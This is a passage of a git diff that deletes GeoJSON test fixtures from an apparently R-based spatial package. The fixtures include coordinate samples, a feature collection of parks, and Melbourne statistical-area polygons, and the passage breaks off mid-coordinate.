-{"type":"MultiPoint","coordinates":[[0.0,0.0],[1.0,1.0]]} diff --git a/tests/testthat/geojson/coord-class-multipoint-xyz.json b/tests/testthat/geojson/coord-class-multipoint-xyz.json deleted file mode 100644 index ac101d0..0000000 --- a/tests/testthat/geojson/coord-class-multipoint-xyz.json +++ /dev/null @@ -1 +0,0 @@ -{"type":"MultiPoint","coordinates":[[0.0,0.0,0.0],[1.0,2.0,3.0]]} diff --git a/tests/testthat/geojson/coord-class-multipoint-xyzm.json b/tests/testthat/geojson/coord-class-multipoint-xyzm.json deleted file mode 100644 index d589eff..0000000 --- a/tests/testthat/geojson/coord-class-multipoint-xyzm.json +++ /dev/null @@ -1,2 +0,0 @@ -{"type":"MultiPoint","coordinates":[[0.0,0.0,0.0,0.0],[1.0,2.0,3.0,4.0]]} - diff --git a/tests/testthat/geojson/coord-class-multipolygon-xyz.json b/tests/testthat/geojson/coord-class-multipolygon-xyz.json deleted file mode 100644 index 65d7ee1..0000000 --- a/tests/testthat/geojson/coord-class-multipolygon-xyz.json +++ /dev/null @@ -1 +0,0 @@ -{"type":"MultiPolygon","coordinates":[[[[0.0,0.0,0.0],[0.0,1.0,0.0],[1.0,1.0,0.0],[1.0,0.0,2.0],[0.0,0.0,0.0]],[[2.0,2.0,0.0],[2.0,3.0,0.0],[3.0,3.0,0.0],[3.0,2.0,0.0],[2.0,2.0,0.0]]]]} diff --git a/tests/testthat/geojson/coord-class-multipolygon-xyzm.json b/tests/testthat/geojson/coord-class-multipolygon-xyzm.json deleted file mode 100644 index fd36cde..0000000 --- a/tests/testthat/geojson/coord-class-multipolygon-xyzm.json +++ /dev/null @@ -1 +0,0 @@ -{"type":"MultiPolygon","coordinates":[[[[0.0,0.0,0.0,0.0],[0.0,1.0,0.0,0.0],[1.0,1.0,0.0,0.0],[1.0,0.0,2.0,0.0],[0.0,0.0,0.0,0.0]],[[2.0,2.0,0.0,0.0],[2.0,3.0,0.0,0.0],[3.0,3.0,0.0,0.0],[3.0,2.0,0.0,0.0],[2.0,2.0,0.0,0.0]]]]} diff --git a/tests/testthat/geojson/coord-class-point-xy.json b/tests/testthat/geojson/coord-class-point-xy.json deleted file mode 100644 index 3936b96..0000000 --- a/tests/testthat/geojson/coord-class-point-xy.json +++ /dev/null @@ -1 +0,0 @@ -{"type":"Point","coordinates":[0.0,0.0]} diff --git a/tests/testthat/geojson/coord-class-point-xyz.json b/tests/testthat/geojson/coord-class-point-xyz.json deleted file mode 100644 index 4a7d2da..0000000 --- a/tests/testthat/geojson/coord-class-point-xyz.json +++ /dev/null @@ -1,2 +0,0 @@ -{"type":"Point","coordinates":[0.0,0.0,1.0]} - diff --git a/tests/testthat/geojson/coord-class-point-xyzm.json b/tests/testthat/geojson/coord-class-point-xyzm.json deleted file mode 100644 index f17d09d..0000000 --- a/tests/testthat/geojson/coord-class-point-xyzm.json +++ /dev/null @@ -1,2 +0,0 @@ -{"type":"Point","coordinates":[0.0,0.0,1.0,2.0]} - diff --git a/tests/testthat/geojson/coord-class-polygon-xyz.json b/tests/testthat/geojson/coord-class-polygon-xyz.json deleted file mode 100644 index 7379ba7..0000000 --- a/tests/testthat/geojson/coord-class-polygon-xyz.json +++ /dev/null @@ -1 +0,0 @@ -{"type":"Polygon","coordinates":[[[0.0,0.0,0.0],[0.0,1.0,0.0],[1.0,1.0,0.0],[1.0,0.0,0.0],[0.0,0.0,0.0]]]} diff --git a/tests/testthat/geojson/coord-class-polygon-xyzm.json b/tests/testthat/geojson/coord-class-polygon-xyzm.json deleted file mode 100644 index 17f94c0..0000000 --- a/tests/testthat/geojson/coord-class-polygon-xyzm.json +++ /dev/null @@ -1 +0,0 @@ -{"type":"Polygon","coordinates":[[[0.0,0.0,0.0,0.0],[0.0,1.0,0.0,0.0],[1.0,1.0,2.0,3.0],[1.0,0.0,0.0,0.0],[0.0,0.0,0.0,0.0]]]} diff --git a/tests/testthat/geojson/feature-collection.json b/tests/testthat/geojson/feature-collection.json deleted file mode 100644 index b45cf52..0000000 --- a/tests/testthat/geojson/feature-collection.json +++ /dev/null @@ -1,158 +0,0 @@ -{ - "type": "FeatureCollection", - "features": [ - { - "type": "Feature", - "geometry": { - "type": "Point", - "coordinates": [ - -80.870885, - 35.215151 - ] - }, - "properties": { - "name": "ABBOTT NEIGHBORHOOD PARK", - "address": "1300 SPRUCE ST" - } - }, - { - "type": "Feature", - "geometry": { - "type": "Point", - "coordinates": [ - -80.837753, - 35.249801 - ] - }, - "properties": { - "name": "DOUBLE OAKS CENTER", - "address": "1326 WOODWARD AV" - } - }, - { - "type": "Feature", - "geometry": { - "type": "Point", - "coordinates": [ - -80.83827, - 35.256747 - ] - }, - "properties": { - "name": "DOUBLE OAKS NEIGHBORHOOD PARK", - "address": "2605 DOUBLE OAKS RD" - } - }, - { - "type": "Feature", - "geometry": { - "type": "Point", - "coordinates": [ - -80.836977, - 35.257517 - ] - }, - "properties": { - "name": "DOUBLE OAKS POOL", - "address": "1200 NEWLAND RD" - } - }, - { - "type": "Feature", - "geometry": { - "type": "Point", - "coordinates": [ - -80.816476, - 35.401487 - ] - }, - "properties": { - "name": "DAVID B. WAYMER FLYING REGIONAL PARK", - "address": "15401 HOLBROOKS RD" - } - }, - { - "type": "Feature", - "geometry": { - "type": "Point", - "coordinates": [ - -80.835564, - 35.399172 - ] - }, - "properties": { - "name": "DAVID B. WAYMER COMMUNITY PARK", - "address": "302 HOLBROOKS RD" - } - }, - { - "type": "Feature", - "geometry": { - "type": "Polygon", - "coordinates": [ - [ - [ - -80.724878, - 35.265454 - ], - [ - -80.722646, - 35.260338 - ], - [ - -80.720329, - 35.260618 - ], - [ - -80.718698, - 35.260267 - ], - [ - -80.715093, - 35.260548 - ], - [ - -80.71681, - 35.255361 - ], - [ - -80.710887, - 35.255361 - ], - [ - -80.703248, - 35.265033 - ], - [ - -80.704793, - 35.268397 - ], - [ - -80.70857, - 35.268257 - ], - [ - -80.712518, - 35.270359 - ], - [ - -80.715179, - 35.267696 - ], - [ - -80.721359, - 35.267276 - ], - [ - -80.724878, - 35.265454 - ] - ] - ] - }, - "properties": { - "name": "Plaza Road Park" - } - } - ] -} diff --git a/tests/testthat/geojson/featurecollection-empty.json b/tests/testthat/geojson/featurecollection-empty.json deleted file mode 100644 index 66b7952..0000000 --- a/tests/testthat/geojson/featurecollection-empty.json +++ /dev/null @@ -1 +0,0 @@ -{"type":"FeatureCollection","features":[]} diff --git a/tests/testthat/geojson/geo_melbourne.json b/tests/testthat/geojson/geo_melbourne.json deleted file mode 100644 index 19e1771..0000000 --- a/tests/testthat/geojson/geo_melbourne.json +++ /dev/null @@ -1 +0,0 @@ -{"type":"FeatureCollection","features":[{"type":"Feature","properties":{"SA2_NAME":"Abbotsford","polygonId":70,"SA3_NAME":"Yarra","AREASQKM":1.7405,"fillColor":"#440154","strokeColor":"#440154","strokeWeight":1},"geometry":{"type":"Polygon","coordinates":[[[144.9925232,-37.8024902],[144.9926453,-37.8018379],[144.9926758,-37.801609],[144.992691,-37.8015175],[144.9927521,-37.8011894],[144.9928284,-37.8007202],[144.9928589,-37.8005409],[144.9929352,-37.8000679],[144.992981,-37.799839],[144.9930878,-37.7991409],[144.9931946,-37.7984505],[144.9932404,-37.7981071],[144.9933014,-37.79776],[144.9934235,-37.7970581],[144.9935913,-37.7960472],[144.9938812,-37.7960205],[144.9940643,-37.7960205],[144.994339,-37.7960396],[144.9944611,-37.7960472],[144.9948273,-37.7960091],[144.9949188,-37.7960091],[144.9949951,-37.7960205],[144.9950714,-37.7960281],[144.9953613,-37.7961082],[144.9954834,-37.7961197],[144.9954834,-37.7962074],[144.9976196,-37.7964172],[144.9976654,-37.7961006],[144.9980011,-37.7961082],[144.9991913,-37.7960701],[145.0000916,-37.7960396],[145.0005951,-37.7960091],[145.0007629,-37.79599],[145.0009308,-37.7959099],[145.0010071,-37.7958488],[145.0010681,-37.7957497],[145.0010529,-37.795639],[145.0012817,-37.7955894],[145.0012817,-37.79562],[145.0012817,-37.7956505],[145.0012817,-37.7956581],[145.0012817,-37.7956696],[145.0012817,-37.7956772],[145.0012817,-37.7957077],[145.0012817,-37.7957191],[145.0012817,-37.7957497],[145.0012817,-37.7957687],[145.0012817,-37.7957878],[145.001297,-37.7957993],[145.001297,-37.7958107],[145.0013123,-37.7958183],[145.0013123,-37.7958298],[145.0013428,-37.7958374],[145.0013428,-37.7958374],[145.001358,-37.7958488],[145.0013733,-37.7958488],[145.0013885,-37.7958488],[145.0014191,-37.7958679],[145.0014343,-37.7958679],[145.0014801,-37.7958984],[145.0014954,-37.7959404],[145.0014954,-37.795948],[145.0014954,-37.7959976],[145.0015411,-37.7959976],[145.0015411,-37.7960091],[145.0015411,-37.7960205],[145.0015411,-37.7960396],[145.0015411,-37.7960472],[145.0015411,-37.7960701],[145.0015411,-37.7960777],[145.0015564,-37.7961006],[145.0015564,-37.7961197],[145.0015564,-37.7961502],[145.0015564,-37.7961502],[145.0015717,-37.7961578],[145.0015717,-37.7961693],[145.0015717,-37.7961884],[145.0015717,-37.7961998],[145.0019379,-37.7966499],[145.0018921,-37.7967491],[145.0018005,-37.7969284],[145.0017242,-37.797039],[145.0016327,-37.7971191],[145.0015106,-37.7971573],[145.0014038,-37.7971802],[145.001236,-37.7971382],[145.0010529,-37.7970772],[145.0008698,-37.79702],[145.0006714,-37.7969704],[145.0003662,-37.7969475],[145.0001526,-37.7969475],[144.9999084,-37.7969589],[144.9997101,-37.796978],[144.9994965,-37.7970009],[144.9993744,-37.7970581],[144.9993134,-37.7971077],[144.9992676,-37.7972183],[144.9992523,-37.7973595],[144.9992981,-37.7975082],[144.9993744,-37.7976494],[144.9995422,-37.7978477],[144.9996796,-37.798008],[144.9998169,-37.7981491],[145,-37.7982903],[145.0003204,-37.79842],[145.0006409,-37.7985382],[145.0009003,-37.7986298],[145.0011597,-37.7987595],[145.0014191,-37.7989006],[145.0020447,-37.7992897],[145.0024567,-37.7995186],[145.0027008,-37.7996674],[145.0028839,-37.7998085],[145.0031891,-37.8000603],[145.0034637,-37.8002586],[145.0037079,-37.8004684],[145.0039825,-37.8007278],[145.0040894,-37.8008194],[145.0041962,-37.8008881],[145.0045013,-37.8010902],[145.0048828,-37.8013191],[145.0053101,-37.8015785],[145.006073,-37.8020973],[145.0064697,-37.8023872],[145.0068207,-37.8026505],[145.0072632,-37.8029709],[145.0074921,-37.8031578],[145.0076294,-37.803299],[145.0076904,-37.8034592],[145.0076904,-37.8036804],[145.0076599,-37.8038979],[145.0075836,-37.8040771],[145.0074158,-37.8041878],[145.0071716,-37.8043289],[145.0069427,-37.8044777],[145.0067139,-37.8046074],[145.0064545,-37.8047409],[145.0061951,-37.8048477],[145.0058899,-37.8049774],[145.0056,-37.8050995],[145.0053558,-37.8051796],[145.0051422,-37.8052406],[145.0049438,-37.8052902],[145.0047302,-37.8053207],[145.0045776,-37.8053398],[145.0044098,-37.8053398],[145.0042419,-37.8053207],[145.0040436,-37.8052673],[145.003891,-37.8051796],[145.0037537,-37.8051109],[145.003479,-37.8050308],[145.0032501,-37.8049393],[145.0030212,-37.8048477],[145.0027924,-37.8047485],[145.0024414,-37.8045807],[145.002182,-37.8044472],[145.0018921,-37.8043289],[145.0016022,-37.8042488],[145.0015106,-37.8042297],[145.0012817,-37.8041992],[145.0010223,-37.8041687],[145.0008392,-37.8041687],[145.0006714,-37.8041801],[145.0005798,-37.8041878],[145.0003052,-37.8042297],[145.0001373,-37.8042793],[144.999939,-37.80439],[144.9998016,-37.8045082],[144.9996338,-37.8046989],[144.9994812,-37.8048592],[144.9993439,-37.8050385],[144.9992828,-37.8052101],[144.9992676,-37.8053589],[144.9993591,-37.8054771],[144.9993591,-37.8056488],[144.9994965,-37.8058281],[144.9996033,-37.8060074],[144.9997101,-37.8061981],[144.9998169,-37.8064003],[144.9999542,-37.8065987],[145.0000305,-37.8066788],[145.0001221,-37.8067894],[145.0002136,-37.806881],[145.0003204,-37.8069687],[145.0004425,-37.8070488],[145.0005341,-37.8071289],[145.0007935,-37.807209],[145.0010529,-37.8072395],[145.0011902,-37.8072281],[145.0013275,-37.8072281],[145.0018616,-37.8072472],[145.0022278,-37.8072395],[145.0028229,-37.8072281],[145.0033569,-37.8072472],[145.00383,-37.8072701],[145.0042114,-37.8072777],[145.0044098,-37.8072891],[145.0047302,-37.8072701],[145.0056915,-37.8071899],[145.0064392,-37.8071785],[145.0069275,-37.8071899],[145.0072937,-37.807209],[145.0075378,-37.8072472],[145.007782,-37.8073082],[145.0080566,-37.8073997],[145.0083618,-37.807518],[145.0085297,-37.8075905],[145.0087128,-37.8077087],[145.0088501,-37.8078384],[145.0089569,-37.8079872],[145.0089722,-37.8081398],[145.0089722,-37.8083992],[145.0089722,-37.8084373],[145.0089722,-37.8087006],[145.0090027,-37.8090096],[145.0090332,-37.8092995],[145.0090637,-37.8096008],[145.0091095,-37.8097878],[145.00914,-37.8099403],[145.009201,-37.8101387],[145.0092926,-37.810318],[145.0093689,-37.8103981],[145.0095215,-37.8104706],[145.0097351,-37.8104973],[145.0098877,-37.8104897],[145.0100403,-37.8104973],[145.0105133,-37.8105278],[145.0109406,-37.8105698],[145.0113068,-37.8105774],[145.0117188,-37.8105774],[145.0120697,-37.8105888],[145.0126801,-37.8106194],[145.0134735,-37.8106308],[145.0136261,-37.8106308],[145.0139771,-37.8106003],[145.0141296,-37.8105698],[145.0146637,-37.8104973],[145.0149689,-37.8104706],[145.0152893,-37.8104706],[145.0155029,-37.8104973],[145.0156403,-37.8105392],[145.0157318,-37.8106194],[145.0157928,-37.8107491],[145.0157928,-37.8108482],[145.0157623,-37.8110008],[145.015686,-37.8112907],[145.0155945,-37.8115387],[145.0155029,-37.8118591],[145.0153961,-37.8121376],[145.0153809,-37.8121376],[145.0150757,-37.8120995],[145.0141449,-37.8120003],[145.0133057,-37.8117905],[145.0130005,-37.8117104],[145.012207,-37.8116302],[145.0101013,-37.8113976],[145.0097656,-37.8114395],[145.0096436,-37.8114471],[145.0084839,-37.8113403],[145.0073547,-37.8112297],[145.0070801,-37.8111992],[145.0064087,-37.8111305],[145.0062714,-37.8111191],[145.0054626,-37.811039],[145.0051117,-37.8110085],[145.0046844,-37.8109703],[145.0041199,-37.8109093],[145.0029449,-37.8107986],[145.0023193,-37.81073],[145.0006409,-37.8105583],[144.9995422,-37.8104477],[144.9990692,-37.8103981],[144.9983521,-37.8103294],[144.997757,-37.8102684],[144.9971619,-37.8102074],[144.9965668,-37.8101387],[144.9960327,-37.8100891],[144.9952545,-37.810009],[144.9945374,-37.8099289],[144.9938507,-37.8098602],[144.9937744,-37.8098488],[144.9928436,-37.8097572],[144.9925995,-37.8097382],[144.9923706,-37.8097191],[144.9919739,-37.8097191],[144.9913483,-37.8097305],[144.9914093,-37.8093605],[144.9915161,-37.8086395],[144.9915924,-37.8081589],[144.9916992,-37.807518],[144.9917603,-37.8071594],[144.9921265,-37.8049889],[144.9923706,-37.8034973],[144.9924927,-37.8026772],[144.9925232,-37.8024902]]]}},{"type":"Feature","properties":{"SA2_NAME":"Albert Park","polygonId":59,"SA3_NAME":"Port Phillip","AREASQKM":4.6747,"fillColor":"#450457","strokeColor":"#450457","strokeWeight":1},"geometry":{"type":"Polygon","coordinates":[[[144.9449005,-37.8437576],[144.9455719,-37.8430405],[144.9465179,-37.8410072],[144.947052,-37.84132],[144.9488525,-37.8407974],[144.9492188,-37.8406906],[144.9500427,-37.8404579],[144.95047,-37.8403282],[144.9510803,-37.8401489],[144.9518433,-37.8399277],[144.9517517,-37.8397484],[144.9517212,-37.8396683],[144.9517059,-37.8395882],[144.9516907,-37.839489],[144.9516907,-37.8394089],[144.9516907,-37.8393288],[144.9517212,-37.8392296],[144.9517517,-37.8391304],[144.9517822,-37.8390503],[144.9518433,-37.8389778],[144.951889,-37.8389091],[144.9519501,-37.8388405],[144.9520416,-37.838768],[144.9521332,-37.8386993],[144.9522095,-37.8386497],[144.952301,-37.8386078],[144.9523926,-37.8385506],[144.9524841,-37.8385086],[144.954422,-37.8379478],[144.9568939,-37.8372307],[144.9571686,-37.8378181],[144.9576263,-37.8387985],[144.957901,-37.8393898],[144.9581604,-37.8399773],[144.9586792,-37.8410492],[144.959198,-37.8421593],[144.9595032,-37.8418999],[144.9597321,-37.8416977],[144.9604492,-37.8410797],[144.9608002,-37.8407898],[144.9611969,-37.8404694],[144.9613953,-37.8403206],[144.9616394,-37.8401489],[144.9618835,-37.8399887],[144.9621277,-37.8398285],[144.9623718,-37.8396797],[144.9626312,-37.8395309],[144.9628754,-37.8393784],[144.9631348,-37.8392296],[144.9633789,-37.8391075],[144.9640045,-37.8387985],[144.9642639,-37.8386688],[144.964859,-37.8383904],[144.965271,-37.8382072],[144.9655914,-37.838089],[144.9657135,-37.8380394],[144.9658661,-37.8379707],[144.9667206,-37.8376579],[144.9676514,-37.8373795],[144.9678802,-37.8373108],[144.9680939,-37.8372383],[144.9682617,-37.8371696],[144.9684601,-37.8370895],[144.9686432,-37.8370094],[144.9688721,-37.8368988],[144.969101,-37.8367805],[144.9693146,-37.8366699],[144.9695435,-37.8365288],[144.9697723,-37.8363686],[144.969986,-37.8362083],[144.9701996,-37.8360405],[144.9703979,-37.8358688],[144.9705963,-37.8356781],[144.9706421,-37.8356285],[144.9707642,-37.8354988],[144.970932,-37.8353195],[144.9710693,-37.8351288],[144.9716797,-37.834259],[144.9716339,-37.8339081],[144.9717102,-37.8336678],[144.9717255,-37.8335304],[144.971756,-37.8332901],[144.971756,-37.8330879],[144.9717407,-37.8329697],[144.9717407,-37.83284],[144.9717102,-37.8327179],[144.9716949,-37.8326187],[144.9716644,-37.8325195],[144.9716339,-37.832428],[144.9716034,-37.8323288],[144.9717865,-37.8322792],[144.9718323,-37.8323174],[144.9719238,-37.8324394],[144.9720612,-37.8326073],[144.9721222,-37.8326797],[144.9722443,-37.8328094],[144.9723663,-37.8329391],[144.9725037,-37.8330574],[144.972641,-37.8331795],[144.9728088,-37.8332901],[144.9734039,-37.8337173],[144.973465,-37.8337593],[144.9736328,-37.8338776],[144.973999,-37.8341179],[144.9741058,-37.8341904],[144.9741821,-37.8342705],[144.9744415,-37.8345604],[144.9745331,-37.8346672],[144.9748688,-37.8350487],[144.9749298,-37.8351173],[144.9749756,-37.8351974],[144.9750366,-37.8353195],[144.9751892,-37.8355675],[144.9753418,-37.8358307],[144.9754333,-37.835968],[144.9754791,-37.8360672],[144.9755249,-37.8362083],[144.9758606,-37.8371506],[144.976059,-37.8376694],[144.9762573,-37.8381996],[144.9763489,-37.8384476],[144.9764404,-37.8387184],[144.9765778,-37.8390694],[144.9767914,-37.8396797],[144.9768829,-37.8399506],[144.9769897,-37.8402176],[144.9770813,-37.8404694],[144.9772797,-37.8410187],[144.9774017,-37.8413391],[144.9775391,-37.8417282],[144.9777222,-37.8422279],[144.9778137,-37.8424797],[144.9779205,-37.8427582],[144.9779968,-37.8429909],[144.9781342,-37.8433609],[144.9782715,-37.843708],[144.9783936,-37.8440475],[144.9785614,-37.8445473],[144.9786835,-37.8448486],[144.9790802,-37.8459702],[144.9794159,-37.8468704],[144.9795074,-37.8471107],[144.9797211,-37.8477173],[144.9801483,-37.8488579],[144.9803314,-37.8493881],[144.9804382,-37.849659],[144.9806366,-37.8502083],[144.9794159,-37.8504906],[144.9783478,-37.8507309],[144.9785767,-37.851429],[144.9788513,-37.8522186],[144.9790344,-37.8527603],[144.9785309,-37.8529091],[144.9785156,-37.8530807],[144.9783325,-37.8531876],[144.97612,-37.8538704],[144.9758911,-37.8538895],[144.9756775,-37.8538589],[144.9754791,-37.8537788],[144.9753571,-37.8536682],[144.9743652,-37.8521805],[144.9742889,-37.8521881],[144.9706421,-37.85355],[144.9701691,-37.8537292],[144.9689484,-37.8541603],[144.968399,-37.8543472],[144.9682617,-37.8543892],[144.9680634,-37.8546371],[144.9672699,-37.8555908],[144.9668884,-37.8560371],[144.9664917,-37.8565292],[144.9662476,-37.8568077],[144.9656677,-37.8574982],[144.9654694,-37.8572998],[144.9650116,-37.8568573],[144.9647522,-37.8565979],[144.9643707,-37.8562202],[144.9642181,-37.8560982],[144.9640198,-37.8559494],[144.9637756,-37.8557587],[144.9633026,-37.8554573],[144.9628296,-37.8552094],[144.9625397,-37.8551178],[144.9621887,-37.85495],[144.9616241,-37.8546677],[144.9610138,-37.8543701],[144.960907,-37.8543091],[144.9603271,-37.8539886],[144.9597015,-37.8537102],[144.9593811,-37.853508],[144.9590607,-37.8533707],[144.9586639,-37.8531609],[144.9583282,-37.8529701],[144.9580841,-37.8528786],[144.95784,-37.8527908],[144.9577332,-37.8527374],[144.9571991,-37.8524704],[144.9568024,-37.8522873],[144.9565735,-37.8521576],[144.9562836,-37.8520088],[144.9560699,-37.8519402],[144.9558716,-37.8518791],[144.9556427,-37.8517303],[144.9549713,-37.85149],[144.954361,-37.8512001],[144.9542236,-37.8511391],[144.9538422,-37.8509407],[144.9534912,-37.8508072],[144.9531403,-37.8506203],[144.9528961,-37.8504601],[144.952301,-37.8502083],[144.951889,-37.8500671],[144.9515839,-37.8499107],[144.9512482,-37.8497772],[144.950882,-37.8496284],[144.9503784,-37.8494606],[144.9499512,-37.8492279],[144.9494781,-37.8490372],[144.9492188,-37.8489494],[144.9487915,-37.8487206],[144.94841,-37.8485489],[144.9482117,-37.8484497],[144.9478607,-37.8482399],[144.947113,-37.8479195],[144.9464417,-37.8476181],[144.9463654,-37.8475876],[144.9460297,-37.8474274],[144.9457245,-37.84729],[144.9452515,-37.8470879],[144.9449005,-37.8470001],[144.9447174,-37.8469391],[144.9446106,-37.8468285],[144.9445343,-37.8467598],[144.9443054,-37.8466682],[144.944046,-37.8466492],[144.9438934,-37.8465996],[144.9436798,-37.8465195],[144.9429626,-37.846199],[144.942688,-37.8460884],[144.9432678,-37.84552],[144.9434662,-37.8453102],[144.9440002,-37.8447304],[144.9442749,-37.844429],[144.9449005,-37.8437576]]]}},{"type":"Feature","properties":{"SA2_NAME":"Alphington - Fairfield","polygonId":41,"SA3_NAME":"Darebin - South","AREASQKM":2.8853,"fillColor":"#46075A","strokeColor":"#46075A","strokeWeight":1},"geometry":{"type":"Polygon","coordinates":[[[145.0203705,-37.76548],[145.0215149,-37.7655983],[145.0246124,-37.7659302],[145.0264893,-37.7661285],[145.0274048,-37.7662277],[145.0285492,-37.7663498],[145.0305939,-37.7665596],[145.031189,-37.7666283],[145.031189,-37.7666779],[145.0312195,-37.7667809],[145.0312347,-37.7668381],[145.0312805,-37.7669106],[145.0313263,-37.7669678],[145.0313873,-37.7670479],[145.0314484,-37.7671089],[145.0315094,-37.76717],[145.0315704,-37.7672501],[145.0316162,-37.7673187],[145.0316315,-37.7674179],[145.0316162,-37.7675591],[145.0316162,-37.7676888],[145.031601,-37.7677879],[145.0315704,-37.7679176],[145.0315399,-37.7680206],[145.0315094,-37.7681503],[145.0314789,-37.76828],[145.0314636,-37.7683983],[145.0314331,-37.768528],[145.0314331,-37.7686501],[145.0314636,-37.7687187],[145.031662,-37.7688599],[145.0317383,-37.76894],[145.0317841,-37.7690277],[145.0317993,-37.7691574],[145.0317993,-37.7692604],[145.0317688,-37.7693787],[145.0317688,-37.7694588],[145.0317993,-37.7695885],[145.0318298,-37.7697296],[145.0318604,-37.7698975],[145.0318604,-37.7700081],[145.0318756,-37.77005],[145.0318909,-37.7701302],[145.0319214,-37.7702293],[145.0320282,-37.7704277],[145.0321198,-37.7705383],[145.0322571,-37.770649],[145.0324249,-37.7706795],[145.0325928,-37.770668],[145.0327606,-37.770649],[145.0328217,-37.7706375],[145.0328979,-37.7706184],[145.032959,-37.7705879],[145.0330505,-37.7705803],[145.0331726,-37.7705688],[145.0332489,-37.7705688],[145.0333557,-37.7705383],[145.0334625,-37.7705078],[145.0336304,-37.7704773],[145.0339813,-37.7704201],[145.0340881,-37.7703896],[145.0341644,-37.7703705],[145.0341797,-37.7703705],[145.0342407,-37.7703705],[145.0343018,-37.7703705],[145.0343933,-37.7703705],[145.0345154,-37.7703476],[145.0346069,-37.77034],[145.0347137,-37.7703094],[145.0348053,-37.770298],[145.03508,-37.7702789],[145.0352478,-37.7702675],[145.0353394,-37.7702675],[145.0354767,-37.7702904],[145.0356293,-37.7703285],[145.0357971,-37.770359],[145.036026,-37.7704201],[145.0361481,-37.7704773],[145.0362549,-37.7705688],[145.0363312,-37.7706108],[145.0363617,-37.7706108],[145.0364075,-37.7705879],[145.0364838,-37.7705193],[145.036499,-37.7705078],[145.0365753,-37.7705002],[145.0366058,-37.7705002],[145.0366516,-37.7705002],[145.0366516,-37.7705078],[145.0367126,-37.7705383],[145.0367737,-37.7705688],[145.0368042,-37.7706108],[145.0368195,-37.770649],[145.0368195,-37.7706795],[145.0367889,-37.7707672],[145.0367889,-37.7708588],[145.0368195,-37.7709198],[145.0368805,-37.7709885],[145.0369415,-37.7710686],[145.036972,-37.7711487],[145.0370178,-37.7712173],[145.0370636,-37.7712784],[145.0370789,-37.7713509],[145.0370941,-37.7714081],[145.0371094,-37.7714996],[145.0371094,-37.7716484],[145.0371094,-37.7717094],[145.0371094,-37.7717705],[145.0370941,-37.7718201],[145.0370789,-37.7719002],[145.0370331,-37.7721596],[145.036911,-37.7723694],[145.0368805,-37.7724495],[145.0368347,-37.7725105],[145.0368042,-37.7725677],[145.0367432,-37.7725983],[145.0366974,-37.7726173],[145.0366364,-37.7726288],[145.0365295,-37.7726173],[145.0364227,-37.7726097],[145.0363617,-37.7726173],[145.0363464,-37.7726288],[145.0362854,-37.7726479],[145.0361938,-37.7726707],[145.0360565,-37.7726784],[145.0359192,-37.7726707],[145.0357819,-37.7726402],[145.035553,-37.7725677],[145.0354919,-37.7725487],[145.0354156,-37.7725182],[145.0351105,-37.7724686],[145.0348969,-37.7724495],[145.034729,-37.7724075],[145.034668,-37.7723885],[145.0344849,-37.7723503],[145.0344238,-37.7723389],[145.0343628,-37.7723389],[145.0343018,-37.7723503],[145.0342407,-37.7723694],[145.0341797,-37.772419],[145.0341187,-37.7725105],[145.0340881,-37.7726097],[145.0341187,-37.7727089],[145.0341492,-37.772789],[145.0341949,-37.7728691],[145.0342407,-37.7729607],[145.0342712,-37.7730293],[145.0343628,-37.7731209],[145.0344543,-37.7732201],[145.0345306,-37.7733383],[145.0345917,-37.7733994],[145.0346527,-37.773468],[145.0346832,-37.7735176],[145.0347595,-37.7736473],[145.03479,-37.7737083],[145.0348206,-37.7737999],[145.0348969,-37.77388],[145.0349426,-37.7739182],[145.0349884,-37.7739677],[145.0350189,-37.7740173],[145.0350494,-37.7740479],[145.03508,-37.7740974],[145.0351105,-37.7741699],[145.0351715,-37.7742691],[145.035202,-37.7743607],[145.0352631,-37.7744408],[145.0353088,-37.7745285],[145.0353546,-37.7746086],[145.0354462,-37.7747307],[145.0355682,-37.7748184],[145.0356445,-37.7748604],[145.0358124,-37.7749176],[145.0358429,-37.7749405],[145.0359039,-37.7749672],[145.0359192,-37.7749977],[145.0359192,-37.7750587],[145.0359039,-37.7751503],[145.0358582,-37.7752304],[145.0357971,-37.7753792],[145.0357819,-37.7754288],[145.0357208,-37.7756081],[145.0356598,-37.7757683],[145.0356445,-37.7758102],[145.0355988,-37.7758179],[145.0354767,-37.7758102],[145.0353546,-37.7757874],[145.0352936,-37.7757988],[145.0352173,-37.7758598],[145.0351562,-37.7759285],[145.03508,-37.7760277],[145.0350494,-37.7761383],[145.0350189,-37.7762909],[145.0349884,-37.7765007],[145.0350037,-37.7766075],[145.0350342,-37.7767372],[145.0350342,-37.7768173],[145.0350189,-37.7769394],[145.0350189,-37.7770195],[145.0350342,-37.7770882],[145.0350342,-37.7771492],[145.0350494,-37.7772484],[145.0350494,-37.7772903],[145.03508,-37.777359],[145.0351105,-37.7773895],[145.0351105,-37.7774277],[145.0351105,-37.7774887],[145.0351105,-37.7775497],[145.0351105,-37.7776108],[145.03508,-37.7777672],[145.0350647,-37.7778397],[145.0350189,-37.7779198],[145.0349731,-37.7779808],[145.0349121,-37.7780685],[145.03479,-37.7783394],[145.034729,-37.7784996],[145.0346985,-37.7785606],[145.034668,-37.7785873],[145.0345917,-37.7786484],[145.0345459,-37.7787094],[145.0345306,-37.7787399],[145.0345154,-37.7787781],[145.0344696,-37.7788391],[145.0344696,-37.7789078],[145.0345306,-37.7789803],[145.0346375,-37.7790108],[145.0347137,-37.7790108],[145.03479,-37.7789803],[145.0348816,-37.7789497],[145.0349579,-37.7789307],[145.03508,-37.7789383],[145.0351868,-37.7789307],[145.0353088,-37.7789078],[145.0354919,-37.7788391],[145.035553,-37.77882],[145.0355988,-37.77882],[145.0357513,-37.7788277],[145.0358887,-37.7788391],[145.035965,-37.7788773],[145.0358124,-37.7790489],[145.0352325,-37.7796478],[145.0351562,-37.7797279],[145.0350647,-37.7798004],[145.0349731,-37.7798576],[145.0348816,-37.7799187],[145.0347748,-37.7799683],[145.0346832,-37.7800179],[145.0345612,-37.7800598],[145.0344391,-37.780098],[145.0339203,-37.7802391],[145.0334167,-37.7803307],[145.0322571,-37.7805481],[145.0311432,-37.7807579],[145.0300598,-37.7809601],[145.0286713,-37.7812195],[145.0279388,-37.7813606],[145.027298,-37.7814789],[145.0257416,-37.7817688],[145.0250244,-37.781868],[145.0245667,-37.7819405],[145.0240936,-37.7820473],[145.0234222,-37.7822189],[145.0232849,-37.782238],[145.0220032,-37.7824898],[145.0209198,-37.7827072],[145.0197601,-37.7829399],[145.0191345,-37.7830696],[145.0185699,-37.7831802],[145.0184174,-37.7832108],[145.0176544,-37.7833595],[145.0173798,-37.7833595],[145.0161896,-37.7835579],[145.0149994,-37.7837601],[145.0148315,-37.7837906],[145.0144806,-37.7837906],[145.0142975,-37.7838287],[145.0143738,-37.7833672